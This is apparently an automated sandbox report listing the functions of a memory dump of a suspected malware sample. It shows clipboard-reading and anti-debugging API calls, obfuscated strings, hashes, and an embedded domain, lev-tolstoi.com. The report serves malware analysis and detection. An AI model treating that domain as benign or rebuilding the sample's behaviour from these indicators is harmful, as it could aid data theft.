Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a25596d5e3cfe4fe0e5db7da74b03c59e9ab60d04f24d3b65b32f0a3db3b2c
Instruction ID: 4930346e371a7fe24dc622efad621cb1fdb8e28414ae90ad1b2e80d729ef0247
Opcode Fuzzy Hash: e9a25596d5e3cfe4fe0e5db7da74b03c59e9ab60d04f24d3b65b32f0a3db3b2c
Instruction Fuzzy Hash: 033187B15483849FD308DF26D85126ABBA1FBD2344F145D1DE0D6AB324DB74C14ACF8A

Function 0043E3D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043E443

Strings

,X_P, xrefs: 0043E406
1X_P, xrefs: 0043E42E

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ,X_P$1X_P
API String ID: 1279760036-2502780324
Opcode ID: eb1a6f67c4ada5412c08eb173e14373e3fe507c916b2bafd9d7fb15af6b3fd64
Instruction ID: 357ba96cad9f0123cdecf1eeb7454c10257a295415ee4a6f905f218ff180347d
Opcode Fuzzy Hash: eb1a6f67c4ada5412c08eb173e14373e3fe507c916b2bafd9d7fb15af6b3fd64
Instruction Fuzzy Hash: 5B0168B47052409BD3149B36FC9172BBBD6EFDD311F18853DE68047245D2399806D6D2

Function 0043BAB0 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043BB5B

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c966522f7fb25d472709df3c33f9e9313601420be56a465234706629d4e90569
Instruction ID: 7fcc2dba597176613733501886a8d543011a47e717bc7f6c2f2548effa9cc5a4
Opcode Fuzzy Hash: c966522f7fb25d472709df3c33f9e9313601420be56a465234706629d4e90569
Instruction Fuzzy Hash: 8911AF722593099BC728AE99DCC67A377F2DF80348F14003ED6D24E351E178491EE784

Function 0040CEC3 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CED5

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 86e7cd1d8ba83fd48d159611fa58a999e323023a6822f24e550602bc64e96fbd
Instruction ID: 505051cfc9ca38289cd8c3bcaa8b4d1cf811018b2ecdf46f9719d823f91473ff
Opcode Fuzzy Hash: 86e7cd1d8ba83fd48d159611fa58a999e323023a6822f24e550602bc64e96fbd
Instruction Fuzzy Hash: F3D0C9383D8741BBF5648B18AC13F543215A702F95F740624B322FE2D2CAE07105860D

Function 0040CE90 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CEA3

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 95d69b3b1cead687a11d3aac29b76cceb317a11716f3da9f3279e12896be4b7b
Instruction ID: 22e434c7d5131673a28d60fedf45504e047772ae2bc3a5d8c25a21f98226e921
Opcode Fuzzy Hash: 95d69b3b1cead687a11d3aac29b76cceb317a11716f3da9f3279e12896be4b7b
Instruction Fuzzy Hash: 34D0A735590508ABE650672CEC0BF26362CD387725F004235B2A3C71E3EA506914C5AA

Non-executed Functions

Function 00424800 Relevance: 25.0, APIs: 1, Strings: 13, Instructions: 507COMMON

Download Yara Rule

Strings

C5+K, xrefs: 00424CE5
_-_#, xrefs: 00424CB5
V%C;, xrefs: 00424CC5
<=, xrefs: 00424E15
C1D7, xrefs: 00424CDD
;M|C, xrefs: 00424CF5
@A, xrefs: 00424CFD
]!S', xrefs: 00424CBD
;IJK, xrefs: 00424B77
_9_?, xrefs: 00424CCD
H=K3, xrefs: 00424CD5
YW, xrefs: 00424DDD
8I>O, xrefs: 00424CED

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: 8I>O$;IJK$;M|C$<=$@A$C1D7$C5+K$H=K3$V%C;$]!S'$_-_#$_9_?$YW
API String ID: 0-1278073768
Opcode ID: 81468d8c49a3e02887b835b59ae40fbcc3ebd7ae00028ff60e4259767b61db7f
Instruction ID: 48240a3c797665121a6c8427249b37c171d795af1c4e3dc191a1b5d2d7455386
Opcode Fuzzy Hash: 81468d8c49a3e02887b835b59ae40fbcc3ebd7ae00028ff60e4259767b61db7f
Instruction Fuzzy Hash: FBF1DCB160C3508FD300DF25E89166BBBE0EFC6354F45892DE9D58B391E7788909CB8A

Function 004252A2 Relevance: 16.5, Strings: 13, Instructions: 212COMMON

Download Yara Rule

Strings

US, xrefs: 0042566C
(), xrefs: 004254C8
M?w=, xrefs: 00425732
j7l5, xrefs: 00425748
%c, xrefs: 0042564B
w3w1, xrefs: 0042573D
6aB, xrefs: 004252E5, 0042530C
x+{), xrefs: 004256FB
+c(a, xrefs: 004257C1
SQ, xrefs: 00425588
^aB, xrefs: 00425835
WU, xrefs: 00425590
*g/e, xrefs: 004257CC

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: %c$()$*g/e$+c(a$6aB$M?w=$US$^aB$j7l5$w3w1$x+{)$SQ$WU
API String ID: 0-760778999
Opcode ID: 4a98a5ec70e057294fa733518eb136d5d9265efd785ada52663871b1dc11abda
Instruction ID: ba1722fd9f9df2ce26a2a668a0da62e27f47c5dd5b7501832dbec2575849f197
Opcode Fuzzy Hash: 4a98a5ec70e057294fa733518eb136d5d9265efd785ada52663871b1dc11abda
Instruction Fuzzy Hash: 99C11BB850D785CBE2708F11A98179EBBE1FB92344F108A1DE6E86B351DBB04446CF83

Function 00433CD0 Relevance: 9.1, APIs: 6, Instructions: 138clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433CF4
GetWindowLongW.USER32 ref: 00433D1F
GetClipboardData.USER32 ref: 00433D2F
CloseClipboard.USER32 ref: 00433E6C

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: 483dc0f38cf7e2e744496e9c2be401a32722d8f1196c6b1196953ddb2bb81523
Instruction ID: fb864d9a02aa6f82b1cafb98512c37d7d787da1b5168524821baf26f89aa3bc6
Opcode Fuzzy Hash: 483dc0f38cf7e2e744496e9c2be401a32722d8f1196c6b1196953ddb2bb81523
Instruction Fuzzy Hash: DC51D3B1808B828BD710AF7C9949259FFA0AB16321F04873AE4E59B382D3389655C797

Function 004277BD Relevance: 7.8, Strings: 6, Instructions: 345COMMON

Download Yara Rule

Strings

m0, xrefs: 00427A3B
KJML, xrefs: 00427AD9
AW, xrefs: 004279CA
_^, xrefs: 004279B2
KJML, xrefs: 004278BF
\K, xrefs: 004279BA

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: AW$KJML$KJML$\K$_^$m0
API String ID: 0-3031886387
Opcode ID: 78a00671d45979145a4560d365d97eb3af311ba189861d86e7565eda439995c2
Instruction ID: 8226b9801ad2d42dbe1351369da643cc8733ad833090b8abc78d166a71a0a298
Opcode Fuzzy Hash: 78a00671d45979145a4560d365d97eb3af311ba189861d86e7565eda439995c2
Instruction Fuzzy Hash: 0AA1377960C350DBE7148F24EC9172BB7A0FB96348F44183EF586872A1D738E906CB4A

Function 0040DCB7 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

Part of subcall function 00433E90: GetSystemMetrics.USER32 ref: 00433ED9
Part of subcall function 00433E90: GetSystemMetrics.USER32 ref: 00433EE9

CoUninitialize.OLE32 ref: 0040DCCC

Strings

lev-tolstoi.com, xrefs: 0040E0FE
_Q, xrefs: 0040DF4D
$#, xrefs: 0040E08D
@KFQ, xrefs: 0040DDA3

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Uninitialize
String ID: $#$@KFQ$lev-tolstoi.com$_Q
API String ID: 1128523136-783552759
Opcode ID: d23d948b592791f3cfd090ade1304dc5fd674626a75ff97414607907e0f1a076
Instruction ID: 4defda7e57fa942cb74b608a607347f298506896ac3dbf0eddcd85f7108a5fce
Opcode Fuzzy Hash: d23d948b592791f3cfd090ade1304dc5fd674626a75ff97414607907e0f1a076
Instruction Fuzzy Hash: 5EB1BC7550D3C28BD3358F25C4907EBBBE1AFE6304F08996DD0C95B382D778490A8B9A

Function 004272A0 Relevance: 6.5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

Strings

D1NO, xrefs: 00427456
I5G3, xrefs: 0042744E
_], xrefs: 0042748D
z, xrefs: 00427356
S#Q, xrefs: 00427495

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: z$D1NO$I5G3$S#Q$_]
API String ID: 0-639438859
Opcode ID: 7afec72c48835cafd2746ae7dfd5b11f69980f76d8b70e9f71c580cd3b4767d1
Instruction ID: 66bd1e31735b113f7b95d9c68fe98471feebe8bfbb0225636bc89cdb316b93ea
Opcode Fuzzy Hash: 7afec72c48835cafd2746ae7dfd5b11f69980f76d8b70e9f71c580cd3b4767d1
Instruction Fuzzy Hash: B571F2B16083408BC7249F14D89276BBBF2EFD2318F188A5DE5958B391E778C905CB4B

Function 00425150 Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

'O"A, xrefs: 0042518A
P?l1, xrefs: 004251D0
w3k5, xrefs: 00425169
o7cI, xrefs: 00425174
X[, xrefs: 004251AB

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: 'O"A$P?l1$X[$o7cI$w3k5
API String ID: 0-455523353
Opcode ID: ff135a553d3141049ca5331447d5cb064331698c645f2c44e2c4e51c613b099f
Instruction ID: 51eb84a212206e2a87ad4a80187414da09e946e9a809fb256b0f7a2b673c91d2
Opcode Fuzzy Hash: ff135a553d3141049ca5331447d5cb064331698c645f2c44e2c4e51c613b099f
Instruction Fuzzy Hash: 1F31377120C3859BE7348F54EC01FEBB7E4EB85308F14093DF699CA281E77591068B5A

Function 009DF751 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009DF841

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fb578a13bffeaa224a3b2a1246edbd304c4a9943cbc28b7dca189b1bb4d3c3a9
Instruction ID: 8d814a55b1b6a2a4f5ef46129e972ec65e96c02121d1437e62ae5742ed48f88d
Opcode Fuzzy Hash: fb578a13bffeaa224a3b2a1246edbd304c4a9943cbc28b7dca189b1bb4d3c3a9
Instruction Fuzzy Hash: 82711775D85158AFDF20AF34DCAABE9B7BCAB45300F1481EBE04A97311DA304E819F10

Function 009D96CF Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009D96DB
IsDebuggerPresent.KERNEL32 ref: 009D97A7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D97C7
UnhandledExceptionFilter.KERNEL32(?), ref: 009D97D1

Memory Dump Source

Source File: 00000003.00000002.1592310367.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000003.00000002.1592294804.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592337845.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592358971.00000000009ED000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592374568.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1592390066.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2da1b5c4f3326eaa9f68f2d44afa8c9bb37887a509bca0ce1d825de834f57609
Instruction ID: 22ab1d47ff92fab3f0b9c34e0fa382323c14fe62e5be46876294be9bdd1a334d
Opcode Fuzzy Hash: 2da1b5c4f3326eaa9f68f2d44afa8c9bb37887a509bca0ce1d825de834f57609
Instruction Fuzzy Hash: DB3127B5D552189BDB10EFA4D9897CCBBB8FF08300F1081AAE54DAB350EB709A85CF05

Function 0041DBDB Relevance: 4.0, Strings: 3, Instructions: 202COMMON

Download Yara Rule

Strings

.sq, xrefs: 0041DC78
U{>y, xrefs: 0041DD17
tk, xrefs: 0041DC88

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: .sq$U{>y$tk
API String ID: 0-1908265287
Opcode ID: fe9d369215ae59bf8f0e652be0029dbe287517b77a01e18ec0a9d3604a881a57
Instruction ID: 26be6f975a003ac920f2b9828a51a9f7b0361b3b13e1d049af301d240ecb6a9b
Opcode Fuzzy Hash: fe9d369215ae59bf8f0e652be0029dbe287517b77a01e18ec0a9d3604a881a57
Instruction Fuzzy Hash: 355156B29083518BC314CF24D8916BBB7F2EFD2354F29491DE4D68B391E7789881CB96

Function 004195D1 Relevance: 3.8, Strings: 2, Instructions: 1325COMMON

Download Yara Rule

Strings

QOTL, xrefs: 00419EAC
cfgdQOTL(, xrefs: 0041A0C7

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: QOTL$cfgdQOTL(
API String ID: 0-1041102262
Opcode ID: b5acb474f2e6318f94453df1d46600d9046b57f515fcecbb5936f7cd36da01a4
Instruction ID: baae48468f02253949789be9a9f93deb31354230cf9b03ea4ad6e7f0ba5e09aa
Opcode Fuzzy Hash: b5acb474f2e6318f94453df1d46600d9046b57f515fcecbb5936f7cd36da01a4
Instruction Fuzzy Hash: 86920FB55007018FD7248F24C8917A2BBF2FF96314F0986ADD4968F7A2E738E845CB95

Function 004237C0 Relevance: 2.9, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

,-./, xrefs: 004239F4
@A, xrefs: 004237EC

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: ,-./$@A
API String ID: 0-1711629388
Opcode ID: 4e0d7943126a89f94e8b2c32deef5b19d661ae02a1ddcffc5b77e89c7d9c4155
Instruction ID: b427f95eee88e6e90d2e7c6e9f09885fe0d71f34555a972a5764628c52f2a79a
Opcode Fuzzy Hash: 4e0d7943126a89f94e8b2c32deef5b19d661ae02a1ddcffc5b77e89c7d9c4155
Instruction Fuzzy Hash: E7B1E372B042209BD7109F24D88276BB7F0EF91355F49892DE8C59B382E37CDA05C79A

Function 00425A75 Relevance: 2.9, Strings: 2, Instructions: 380COMMON

Download Yara Rule

Strings

n[B, xrefs: 00425A93
"_B, xrefs: 00425F14

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: "_B$n[B
API String ID: 0-3055631520
Opcode ID: 04987499a22af4122d59eb180440eaaba37f8dd189f60d02e643de4799b8c78f
Instruction ID: 62cab86c4d36762c2083a5c2b7229ea5af287306fc378645cba71aeb96ee3af7
Opcode Fuzzy Hash: 04987499a22af4122d59eb180440eaaba37f8dd189f60d02e643de4799b8c78f
Instruction Fuzzy Hash: C4C11136218B22CBC324DF28D8905BBB7B2FF99740F96892DD4819B360E7789D05C785

Function 0043BFC0 Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

5|iL, xrefs: 0043C140
KJML, xrefs: 0043BFF0

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: 5|iL$KJML
API String ID: 2994545307-536917200
Opcode ID: 636d95659e541816b923c3f4d570c3d48a846f27e8197f310ddef13876200725
Instruction ID: 021ef2e24474c152aafce047481dff9cba3e52c706cfde05c341d4b670c8cf24
Opcode Fuzzy Hash: 636d95659e541816b923c3f4d570c3d48a846f27e8197f310ddef13876200725
Instruction Fuzzy Hash: AF61F532A053109BD7109F68D9C076BBBE2ABCA714F1DE46AD888B7352D639DC0197C9

Function 00441160 Relevance: 2.6, Strings: 2, Instructions: 121COMMON

Download Yara Rule

Strings

P?l1, xrefs: 00441161
@, xrefs: 004411C9

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @$P?l1
API String ID: 2994545307-4135037845
Opcode ID: 7b2b65917937c3de63858e8aa95c118a2f4085e070f529ae319bfc7e530804d0
Instruction ID: 048af27f90df81157f785fbe2478cdb9cc1881c609c9a8ec9846b5c2d3b7d9fc
Opcode Fuzzy Hash: 7b2b65917937c3de63858e8aa95c118a2f4085e070f529ae319bfc7e530804d0
Instruction Fuzzy Hash: 23310F712093049BD304DF58C4C162BBBF4FF99344F04882EEA949B3A0D37999488B9A

Function 00423560 Relevance: 1.7, APIs: 1, Instructions: 245comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00443598,00000000,00000001,00443588), ref: 00423589

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 016393feeb3aaf5266cd89428a409469914a8c32bd70aadd08ee5d85eb0fe30b
Instruction ID: 1c3a52efecc43846b604c9fc2bd1fb656c54c658cb3f3d421b38619bf31c0a25
Opcode Fuzzy Hash: 016393feeb3aaf5266cd89428a409469914a8c32bd70aadd08ee5d85eb0fe30b
Instruction Fuzzy Hash: DC51BEB1700224ABDB209F24DC86B6773B8EF81755F484519F9858B391F37DDA44C72A

Function 00427E50 Relevance: 1.7, Strings: 1, Instructions: 411COMMON

Download Yara Rule

Strings

KJML, xrefs: 00427EA1

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: KJML
API String ID: 2994545307-719402181
Opcode ID: 26d3d7412716a36292caa7e25be7bc75aa11939664aa4b81ff5062cee38173fc
Instruction ID: 4bf9e5fc8db60ad1477a33ee92378b1d27c7b974a179eba886eae4bae89287da
Opcode Fuzzy Hash: 26d3d7412716a36292caa7e25be7bc75aa11939664aa4b81ff5062cee38173fc
Instruction Fuzzy Hash: 34C15A71B093218BD714CB24E88177FB792EF95300F59856ED8868B391EA3DDC06C79A

Function 0040CA6A Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

tw, xrefs: 0040CAF4

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID: tw
API String ID: 0-3303754386
Opcode ID: 24ea2188b8e1636f3f8cd3459eaa518c333ba647ec784111f40071de7f37294e
Instruction ID: 53010c2ad1a460e616b227301a7f5352827963e4b1c26d3e7b98a7d2cb011674
Opcode Fuzzy Hash: 24ea2188b8e1636f3f8cd3459eaa518c333ba647ec784111f40071de7f37294e
Instruction Fuzzy Hash: 5821337660D3408FD714CF24C8E136BFBF2EBD6304F25992CE59253281CAB5D9018B4A

Function 0041B634 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

XTx, xrefs: 0041B6C0

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: XTx
API String ID: 2994545307-3664917863
Opcode ID: 5cbfee8c9465b57ece4ff6bae65366f1f3cdd930970ab3139cb2974971e583f5
Instruction ID: d8fd3d6754167ec8497d5f9b89789aaad9797a0d7febad699e574512ff3efd57
Opcode Fuzzy Hash: 5cbfee8c9465b57ece4ff6bae65366f1f3cdd930970ab3139cb2974971e583f5
Instruction Fuzzy Hash: 5411BE396047018FE321CF2AC880B63BBE3FB9A301F18C56AD59587265DB34E881CA55

Function 0041A6A3 Relevance: .9, Instructions: 922COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4bc0ee2808d1bc3ff1f03965229a764dcd887592880a7708e31c9fc069e7d5
Instruction ID: f11bb0ccfb7fa6bd906f1d8d31d8357785026af4ffb5bb6096dbf78d761bbead
Opcode Fuzzy Hash: cb4bc0ee2808d1bc3ff1f03965229a764dcd887592880a7708e31c9fc069e7d5
Instruction Fuzzy Hash: 96721174601701CFD724CF29C890663B7F2FF8A310B188A6DD4868BBA5E739E856CB55

Function 00407BB0 Relevance: .8, Instructions: 783COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d0613cad7b07f43e7f17b605332ffb618e2260b6ba873c354ae63f412ccab4
Instruction ID: a30865cc17d97331694aacf62b7448b28511f1c5fcfeab318f17b077f90d62e8
Opcode Fuzzy Hash: c3d0613cad7b07f43e7f17b605332ffb618e2260b6ba873c354ae63f412ccab4
Instruction Fuzzy Hash: 0642D2319087118BC724DF18D98026BB3E2FFD4304F29893ED9C5A72C5EB39A955CB86

Function 00403060 Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa0d18fdb5aa447a473b63ffc2b36f29cb12cc39c980f5c71297a03b3492509
Instruction ID: 08fd8c0c77a6a82891080e10c6793232bf344122716b21553b6421ffc9cc9e30
Opcode Fuzzy Hash: 9fa0d18fdb5aa447a473b63ffc2b36f29cb12cc39c980f5c71297a03b3492509
Instruction Fuzzy Hash: 8652D2315083459FCB14CF18C0906AABFE5BF89305F18897EF8996B381D779EA49CB85

Function 00418940 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3b77dcf67a0b470b62be5e49b57d937dd2d0efc915e2e85ed18c434d3aa749
Instruction ID: f4061a431cbf5a55eb24c8f2188b8ae18711ccf053ba8be149a1551a71ae942b
Opcode Fuzzy Hash: 3f3b77dcf67a0b470b62be5e49b57d937dd2d0efc915e2e85ed18c434d3aa749
Instruction Fuzzy Hash: AF9124B5904210DBD7109F18DC826BB73B0FF96354F09492DE98587392EB39A944C79A

Function 004412A0 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 87f4b841ecc1c432a5eaed726db190d427c134bbcdca1ab902fc90f08b9cf1c1
Instruction ID: 20671464f8093c1c1c425e6ee518332859a822b815ddd87db81b861f0ec46407
Opcode Fuzzy Hash: 87f4b841ecc1c432a5eaed726db190d427c134bbcdca1ab902fc90f08b9cf1c1
Instruction Fuzzy Hash: EE8167356053115BE710DF28C881B6FB3A2EFD9390F19C53EE88587364EB3898818789

Function 00418D27 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aqbjn3fl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
